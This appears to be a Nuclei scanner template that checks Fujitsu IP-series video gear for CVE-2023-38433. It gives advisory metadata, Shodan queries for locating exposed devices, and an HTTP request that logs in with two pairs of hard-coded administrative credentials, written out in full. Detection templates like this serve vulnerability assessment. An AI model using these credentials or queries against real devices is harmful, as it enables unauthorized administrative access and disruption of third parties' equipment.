Fujitsu IP Series - Hardcoded Credentials

id: CVE-2023-38433

info:
  name: Fujitsu IP Series - Hardcoded Credentials
  author: AdnaneKhan
  severity: high
  description: |
    Fujitsu Real-time Video Transmission Gear “IP series” use hard-coded credentials, which may allow a remote unauthenticated attacker to initialize or reboot the products, and as a result, terminate the video transmission. The credentials cannot be changed by the end-user and provide administrative access to the devices.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to the device, potentially resulting in further compromise of the network.
  reference:
    - https://www.praetorian.com/blog/fujitsu-ip-series-hard-coded-credentials
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38433
    - https://www.cisa.gov/news-events/ics-advisories/icsa-23-248-01
    - https://www.fujitsu.com/global/products/computing/peripheral/video/download
    - https://jvn.jp/en/jp/JVN95727578
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2023-38433
    cwe-id: CWE-798
    epss-score: 0.0299
    epss-percentile: 0.85654
    cpe: cpe:2.3:o:fujitsu:ip-he950e_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: fujitsu
    product: ip-he950e_firmware
    shodan-query:
      - '"Server: thttpd/2.25b 29dec2003" content-length:1133'
      - '"server: thttpd/2.25b 29dec2003" content-length:1133'
    max-req: 1
  tags: cve2023,cve,fujitsu,ip-series,vkev,vuln

http:
  - raw:
      - |
        GET /b_download/index.html HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ':' + password)}}

    attack: pitchfork
    payloads:
      username:
        - fedish264pro
        - fedish265pro
      password:
        - h264pro@broadsight
        - h265pro@broadsight

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Field Support'

      - type: status
        status:
          - 200
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